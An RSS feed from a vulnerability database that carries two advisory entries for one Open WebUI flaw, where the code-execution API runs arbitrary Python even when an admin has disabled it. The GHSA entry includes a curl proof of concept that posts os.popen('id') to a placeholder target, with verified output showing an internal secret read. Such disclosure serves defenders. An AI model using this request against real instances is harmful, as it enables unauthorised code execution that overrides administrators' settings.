<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 30 Sep 2026 06:59:31 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-45672 — Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassed</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-45672</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; open-webui&lt;/p&gt;
&lt;p&gt;Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says &amp;#34;disabled&amp;#34; but code still executes. This vulnerability is fixed in 0.8.12.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; open-webui&lt;/p&gt;
&lt;p&gt;Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says &amp;#34;disabled&amp;#34; but code still executes. This vulnerability is fixed in 0.8.12.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-45672</guid>
    </item>
    <item>
      <title>GHSA-482j-2pq6-q5w4 — Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassed</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-482j-2pq6-q5w4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: open-webui&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says &amp;#34;disabled&amp;#34; but code still executes.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;**Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.**&lt;/p&gt;
&lt;p&gt;**Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config.&lt;/p&gt;
&lt;p&gt;```bash
# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
  -H &amp;#34;Authorization: Bearer $TOKEN&amp;#34;
# Returns: {&amp;#34;ENABLE_CODE_EXECUTION&amp;#34;: false, ...}&lt;/p&gt;
&lt;p&gt;# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
  -H &amp;#34;Authorization: Bearer $TOKEN&amp;#34; \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{&amp;#34;code&amp;#34;:&amp;#34;import os; print(os.popen(\&amp;#34;id\&amp;#34;).read())&amp;#34;}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;**Verified output:**&lt;/p&gt;
&lt;p&gt;```
Config: {&amp;#34;ENABLE_CODE_EXECUTION&amp;#34;:false,&amp;#34;CODE_EXECUTION_ENGINE&amp;#34;:&amp;#34;jupyter&amp;#34;,...}&lt;/p&gt;
&lt;p&gt;execute_status=200
execute_body={&amp;#34;stdout&amp;#34;:&amp;#34;OPEN-WEBUI-SSRF-SECRET&amp;#34;,&amp;#34;stderr&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;result&amp;#34;:&amp;#34;&amp;#34;}
```&lt;/p&gt;
&lt;p&gt;The PoC read the internal secret service content via Jupyter — despite `ENABLE_CODE_EXECUTION=false`…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: open-webui&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says &amp;#34;disabled&amp;#34; but code still executes.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;**Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.**&lt;/p&gt;
&lt;p&gt;**Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config.&lt;/p&gt;
&lt;p&gt;```bash
# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
  -H &amp;#34;Authorization: Bearer $TOKEN&amp;#34;
# Returns: {&amp;#34;ENABLE_CODE_EXECUTION&amp;#34;: false, ...}&lt;/p&gt;
&lt;p&gt;# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
  -H &amp;#34;Authorization: Bearer $TOKEN&amp;#34; \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{&amp;#34;code&amp;#34;:&amp;#34;import os; print(os.popen(\&amp;#34;id\&amp;#34;).read())&amp;#34;}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;**Verified output:**&lt;/p&gt;
&lt;p&gt;```
Config: {&amp;#34;ENABLE_CODE_EXECUTION&amp;#34;:false,&amp;#34;CODE_EXECUTION_ENGINE&amp;#34;:&amp;#34;jupyter&amp;#34;,...}&lt;/p&gt;
&lt;p&gt;execute_status=200
execute_body={&amp;#34;stdout&amp;#34;:&amp;#34;OPEN-WEBUI-SSRF-SECRET&amp;#34;,&amp;#34;stderr&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;result&amp;#34;:&amp;#34;&amp;#34;}
```&lt;/p&gt;
&lt;p&gt;The PoC read the internal secret service content via Jupyter — despite `ENABLE_CODE_EXECUTION=false`…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-482j-2pq6-q5w4</guid>
    </item>
  </channel>
</rss>
